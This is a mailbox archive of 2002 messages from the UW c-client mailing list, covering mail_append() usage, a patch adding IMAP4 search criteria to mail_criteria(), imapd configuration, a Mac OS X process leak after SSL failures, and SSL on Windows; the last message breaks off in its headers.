Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Oct 2002 09:57:47 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9SHvlMb019191 for ; Mon, 28 Oct 2002 09:57:47 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 28 09:57:46 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SHvdnY007746 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 28 Oct 2002 09:57:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SHunqE004268; Mon, 28 Oct 2002 09:56:49 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SHpZFD120464 for ; Mon, 28 Oct 2002 09:51:36 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Oct 28 09:51:30 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SHpUA9031665 for ; Mon, 28 Oct 2002 09:51:30 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA16568; Mon, 28 Oct 2002 09:51:23 -0800 (PST) Message-Id: Date: Mon, 28 Oct 2002 09:43:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guillaume Vaillant Cc: c-client@u.washington.edu Subject: re: mail_append() function with IMAP4 In-Reply-To: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, mail_append() is the correct function for uploading a message from your client to a mailbox. In short, what you need to put into the STRING structure is, in conjunction with a stringdriver that you probably also write, the entire textual contents of the message. You have to build the message yourself. There are some c-client functions which can help do this, but most of the work you have to do yourself. In particular, functions such as rfc822_output() can help you build the message text. In the most simple-minded case you can simply write the text into a tmpfile and then read it back with your stringdriver and STRING structure. Your best bet is to look at the code in Pine's send.c source code, which is an example of a sophisticated client that does something much better than the "simple-minded case." A detailed answer to your question is too complex to answer in an email message. From pinedev@shivax2.cac.washington.edu Tue Oct 29 14:27:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Oct 2002 14:27:32 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9TMRWMb008229 for ; Tue, 29 Oct 2002 14:27:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Oct 29 14:27:31 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9TMRPnw005120 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 29 Oct 2002 14:27:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9TMQfpB025472; Tue, 29 Oct 2002 14:26:41 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9TMNPFD119334 for ; Tue, 29 Oct 2002 14:23:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Oct 29 14:23:24 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9TMNJnf019701 for ; Tue, 29 Oct 2002 14:23:22 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g9TMNE404436 for ; Tue, 29 Oct 2002 19:23:15 -0300 Message-Id: <3DBF0A52.2060300@samera.com.py> Date: Tue, 29 Oct 2002 19:23:14 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: mail_criteria() for IMAP4 In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------050508090506050507090807" X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------050508090506050507090807 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Mark, here is a little patch to src/c-client/mail.c that add supports some IMAP4 search criteria: DRAFT HEADER SENTBEFORE SENTON SENTSINCE UNDRAFT I could not add support for the rest because I don't know how to read a numeric parameters to this criterias: LARGER SMALLER UID What I need is a function like mail_criteria() that receives a IMAP4 search string and returns a (SEARCHPGM *). Since I could not find any function that does this, I opted to modify mail_criteria() If mail_criteria() is deprecated, is there an equivalent function for imap4? Thanks Oliver Mark Crispin wrote: >To create a SEARCHPGM, call mail_new_searchpgm() and then set the fields as >you wish. When you call mail_search_full(), either set SE_FREE or be sure to >call mail_free_searchpgm() when you are finished with the SEARCHPGM. > >It should be easier to manipulate a SEARCHPGM than it is to build a search >string. > >If you use a static structure, be sure to zero it out (e.g. with a memset()) >and do *not* set SE_FREE. > >You're welcome to post patches. However, as I indicated in my previous >message, mail_criteria() is an obsolete interface and I am not going to >support it for IMAP4. > > -- Oliver Schulze L. oliver@samera.com.py --------------050508090506050507090807 Content-Type: text/plain; name="mail.c.patch-imap4" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="mail.c.patch-imap4" --- mail.c.old Fri Oct 25 16:25:11 2002 +++ mail.c Tue Oct 29 19:14:09 2002 @@ -3460,13 +3460,17 @@ case 'C': /* possible CC */ if (!strcmp (criteria+1,"C")) f = mail_criteria_string (&pgm->cc); break; - case 'D': /* possible DELETED */ + case 'D': /* possible DELETED, DRAFT */ if (!strcmp (criteria+1,"ELETED")) f = pgm->deleted = T; + else if (!strcmp (criteria+1,"RAFT")) f = pgm->draft = T; break; case 'F': /* possible FLAGGED, FROM */ if (!strcmp (criteria+1,"LAGGED")) f = pgm->flagged = T; else if (!strcmp (criteria+1,"ROM")) f=mail_criteria_string (&pgm->from); break; + case 'H': /* possible HEADER */ + if (!strcmp (criteria+1,"EADER")) f = mail_criteria_string (&pgm->header); + break; case 'K': /* possible KEYWORD */ if (!strcmp (criteria+1,"EYWORD")) f = mail_criteria_string (&pgm->keyword); @@ -3484,9 +3488,11 @@ break; case 'S': /* possible SEEN, SINCE, SUBJECT */ if (!strcmp (criteria+1,"EEN")) f = pgm->seen = T; + else if (!strcmp (criteria+1,"ENTBEFORE")) f = mail_criteria_date (&pgm->sentbefore); + else if (!strcmp (criteria+1,"ENTON")) f = mail_criteria_date (&pgm->senton); + else if (!strcmp (criteria+1,"ENTSINCE")) f = mail_criteria_date (&pgm->sentsince); else if (!strcmp (criteria+1,"INCE")) f=mail_criteria_date (&pgm->since); - else if (!strcmp (criteria+1,"UBJECT")) - f = mail_criteria_string (&pgm->subject); + else if (!strcmp (criteria+1,"UBJECT")) f = mail_criteria_string (&pgm->subject); break; case 'T': /* possible TEXT, TO */ if (!strcmp (criteria+1,"EXT")) f = mail_criteria_string (&pgm->text); @@ -3495,6 +3501,7 @@ case 'U': /* possible UN* */ if (criteria[1] == 'N') { if (!strcmp (criteria+2,"ANSWERED")) f = pgm->unanswered = T; + else if (!strcmp (criteria+2,"DRAFT")) f = pgm->undraft = T; else if (!strcmp (criteria+2,"DELETED")) f = pgm->undeleted = T; else if (!strcmp (criteria+2,"FLAGGED")) f = pgm->unflagged = T; else if (!strcmp (criteria+2,"KEYWORD")) --------------050508090506050507090807-- From pinedev@shivax2.cac.washington.edu Fri Nov 1 19:04:45 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Nov 2002 19:04:45 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA234j6W018128 for ; Fri, 1 Nov 2002 19:04:45 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 01 19:04:44 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA234hng025466 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 1 Nov 2002 19:04:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA233q6i090708; Fri, 1 Nov 2002 19:03:52 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA22wEFD023744 for ; Fri, 1 Nov 2002 18:58:14 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 01 18:58:12 2002 -0800 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA22wBux016495; Fri, 1 Nov 2002 18:58:12 -0800 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id UAA10904 sent by ; Fri, 1 Nov 2002 20:58:06 -0600 (CST) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.9.3/smtp-service-1.6) with ESMTP id UAA24644; sent by ; Fri, 1 Nov 2002 20:58:03 -0600 (CST) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id UAA08949; Fri, 1 Nov 2002 20:58:02 -0600 (CST) Message-Id: Date: Fri, 1 Nov 2002 20:58:02 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Aaron Levitt Cc: imap@u.washington.edu, , Subject: Re: imap tricks In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 1 Nov 2002, Aaron Levitt wrote: > Greets everyone- > > I am having some issues trying to apply the patches for imapd available > from http://www.carumba.com/imap/. Most importantly, we need the ability > change the definition of home directories and hide dot files. The site > says it will work with the UW beta of imapd. However, when I try to apply > the patches, it fails. > > -Aaron If you get this year's version of the UW imap kit that functionality is already there, no need for hack/patches. Look at the file "docs/CONFIG" for info on how to use the 'mailsubdir' variable to change the definition of home directories. Use the 'hideDotFiles' variable to hide dot files. ;) BTW, questions specific to the University of Washington implementaion of IMAP (ie UW-imapd) are better directed to the "c-client" mailing list. The "imap" mailing list is for general discussions of the imap protocol. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Fri Nov 1 23:40:02 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Nov 2002 23:40:02 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA27e26W023129 for ; Fri, 1 Nov 2002 23:40:02 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 01 23:40:01 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA27e0ng030128 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 1 Nov 2002 23:40:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA27ctxQ025608; Fri, 1 Nov 2002 23:38:56 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA27MXFD150608 for ; Fri, 1 Nov 2002 23:22:33 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 01 23:22:32 2002 -0800 Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA27MVA9006122 for ; Fri, 1 Nov 2002 23:22:32 -0800 Received: from panix.com (24-193-96-114.nyc.rr.com [24.193.96.114]) by mail1.panix.com (Postfix) with ESMTP id 689B848D5A for ; Sat, 2 Nov 2002 02:22:31 -0500 (EST) Message-Id: Date: Sat, 2 Nov 2002 02:22:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ber To: c-client@u.washington.edu Subject: lost processes with mtest and ssl failures Mime-Version: 1.0 (Apple Message framework v548) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mac OS X 10.2.x I built imap-2002.RC7 with SSL pointing to the preinstalled sll and crypto libraries in /usr/lib. When I run mtest and get a failed ssl negotiation (?TLS/SSL failure for mail.mac.com: SSL negotiation failed) my user process limit is decremented by one. The failure isn't an issue. That happens a lot with mac.com. The fact that each failed negotiation decreases the number of processes I can create is what I'm asking about. I sent a mail to the darwin-developers list to find out why the system reduces the effective process limit. The question for c-client is why mtest might be consuming and not freeing a process slot when it fails an SSL negotiation. Is it that the mtest program being a test program is not cleaning up some resource that I should be cleaning up in my real client? I have the same problem in the client I'm writing but thankfully could reproduce it in mtest. Or does this problem sound weird? Mark, I read all the doc files, really. Here's what the mtest run looks like: [late:~/Developer/src/imap-2002.RC7] ber% mtest/mtest MTest -- C client test program warning: this program uses gets(), which is unsafe. Personal name: ber Debug protocol (y/n)?y Mailbox ('?' for help): {mail.mac.com/imap/user=foobar} [Trying IP address [204.179.120.64]] * OK Netscape Messaging Multiplexor ready [Netscape Messaging Multiplexor ready] 00000000 CAPABILITY * CAPABILITY STARTTLS IMAP4 IMAP4rev1 LITERAL+ AUTH=LOGIN AUTH=PLAIN AUTH=EXTERNAL STARTTLS 00000000 OK CAPABILITY completed 00000001 STARTTLS 00000001 OK STARTTLS completed ?TLS/SSL failure for mail.mac.com: SSL negotiation failed Mailbox ('?' for help): Sat, 2 Nov 2002 02:15:41 -0500 (EST) Before this was run I could fork 79 processes with my fork test. After it, 78. Each time there's a failed negotiation I can fork one fewer process with my fork test program. This version of OS X has a per user process limit of 100. Eventually all my slots are used up and no programs run (EAGAIN). The processes are not shown in ps as zombies or otherwise. Thanks, brian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 2 09:55:25 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 2 Nov 2002 09:55:25 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA2HtP6W003642 for ; Sat, 2 Nov 2002 09:55:25 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Nov 02 09:55:24 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA2HtNng008035 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 2 Nov 2002 09:55:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA2HrL6i085808; Sat, 2 Nov 2002 09:53:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA2HnaFD056012 for ; Sat, 2 Nov 2002 09:49:36 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sat Nov 02 09:49:35 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA2HnYg3001145 for ; Sat, 2 Nov 2002 09:49:34 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA26424; Sat, 2 Nov 2002 09:49:26 -0800 (PST) Message-Id: Date: Sat, 2 Nov 2002 09:34:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ber Cc: c-client@u.washington.edu Subject: re: lost processes with mtest and ssl failures In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you are losing processes and they are not showing up as zombies, this sounds like a bug in Mac OS. NeXTSTEP also tended to collect such things; my NeXT here currently has 138 "" processes, all with a process id of -1; they're not zombies, they're something else. If using the /norsh switch in the mailbox name stops these from happening, that would suggest that Mac OS isn't doing process inheritance properly. The rsh code forks a child and pipes its stdio. The child in tun immediately forks a grandchild, gives its stdio to the grandchild, and terminates. The parent reaps the child, the grandchild is inherited by init, and what's left are the parent and grandchild. When the grandchild terminates, it is reaped by init. At least, that's the way it works on functional UNIX systems. What Mac OS chooses to do is another matter. This sounds like something you may want to discuss with Apple. This *is* an operating system issue. No matter what the application does, the operating system should not just "lose" processes. Applications may spawn zombies, but it should always be possible to determine that there are zombies and what running application is failing to reap them. Disowned processes are supposed to be inherited by init and reaped when they terminate. If Apple wants to play in the UNIX market, they need to have a functional UNIX. From pinedev@shivax2.cac.washington.edu Sat Nov 2 12:25:44 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 2 Nov 2002 12:25:44 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA2KPh6W006499 for ; Sat, 2 Nov 2002 12:25:43 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Sat Nov 02 12:25:42 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA2KPf6r028164 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 2 Nov 2002 12:25:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA2KNs6i090644; Sat, 2 Nov 2002 12:23:54 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA2KJpFD144572 for ; Sat, 2 Nov 2002 12:19:51 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Sat Nov 02 12:19:50 2002 -0800 Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA2KJog3022687 for ; Sat, 2 Nov 2002 12:19:50 -0800 Received: from panix.com (24-193-96-114.nyc.rr.com [24.193.96.114]) by mail1.panix.com (Postfix) with ESMTP id A5F4248A7E; Sat, 2 Nov 2002 15:19:49 -0500 (EST) Message-Id: <6FD2938B-EEA0-11D6-82AC-00039367011A@panix.com> Date: Sat, 2 Nov 2002 15:19:49 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ber To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: lost processes with mtest and ssl failures In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v548) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I knew I could count on you. Using /norsh does not exhibit the problem. That's the workaround I was hoping for. Thanks. Agreed, this is an OS issue and I've sent mail to the OS dev list (darwin-developers) and filed reports at Apple's bug site. If and when I get a response other than "understood" I'll try to produce a trivial example per your description. Thanks, brian On Saturday, November 2, 2002, at 12:34 PM, Mark Crispin wrote: > If you are losing processes and they are not showing up as zombies, > this > sounds like a bug in Mac OS. NeXTSTEP also tended to collect such > things; my > NeXT here currently has 138 "" processes, all with a > process id of > -1; they're not zombies, they're something else. > > If using the /norsh switch in the mailbox name stops these from > happening, > that would suggest that Mac OS isn't doing process inheritance > properly. The > rsh code forks a child and pipes its stdio. The child in tun > immediately > forks a grandchild, gives its stdio to the grandchild, and terminates. > The > parent reaps the child, the grandchild is inherited by init, and > what's left > are the parent and grandchild. When the grandchild terminates, it is > reaped > by init. > > At least, that's the way it works on functional UNIX systems. What > Mac OS > chooses to do is another matter. > > This sounds like something you may want to discuss with Apple. This > *is* an > operating system issue. No matter what the application does, the > operating > system should not just "lose" processes. Applications may spawn > zombies, but > it should always be possible to determine that there are zombies and > what > running application is failing to reap them. Disowned processes are > supposed > to be inherited by init and reaped when they terminate. If Apple > wants to > play in the UNIX market, they need to have a functional UNIX. > > > From pinedev@shivax2.cac.washington.edu Mon Nov 4 13:03:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Nov 2002 13:03:56 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA4L3t6W011087 for ; Mon, 4 Nov 2002 13:03:55 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 04 13:03:54 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA4L3rng002300 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 4 Nov 2002 13:03:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4L2dpB029524; Mon, 4 Nov 2002 13:02:39 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4KwAn2021732 for ; Mon, 4 Nov 2002 12:58:10 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 04 12:58:09 2002 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA4Kw8qk012559 for ; Mon, 4 Nov 2002 12:58:08 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook ident=trilluser) by ts2.bynari.net with smtp (Exim 3.36 #1) id 188p15-0002kj-00 for c-client@u.washington.edu; Mon, 04 Nov 2002 15:44:15 -0600 Message-Id: <008e01c28444$e14a2310$6f03a8c0@redhook> Date: Mon, 4 Nov 2002 14:57:48 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: SSL For Windows MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Where is the document that explains on how to enable SSL for the client for c-client? Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 4 13:15:24 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Nov 2002 13:15:24 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA4LFO6W011732 for ; Mon, 4 Nov 2002 13:15:24 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 04 13:15:23 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA4LFM6r022386 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 4 Nov 2002 13:15:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4LESqE026742; Mon, 4 Nov 2002 13:14:28 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4LBmn2047310 for ; Mon, 4 Nov 2002 13:11:48 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 04 13:11:47 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA4LBkqk017527 for ; Mon, 4 Nov 2002 13:11:47 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id NAA00484; Mon, 4 Nov 2002 13:11:42 -0800 (PST) Message-Id: Date: Mon, 4 Nov 2002 13:11:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: re: SSL For Windows In-Reply-To: <008e01c28444$e14a2310$6f03a8c0@redhook> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 4 Nov 2002 14:57:48 -0600, Shawn Walker wrote: > Where is the document that explains on how to enable SSL for the client for > c-client? SSL is always enabled in Windows. From pinedev@shivax2.cac.washington.edu Mon Nov 4 13:29:22 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Nov 2002 13:29:22 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA4LTM6W012251 for ; Mon, 4 Nov 2002 13:29:22 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 04 13:29:21 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA4LTK6r022848 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 4 Nov 2002 13:29:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu 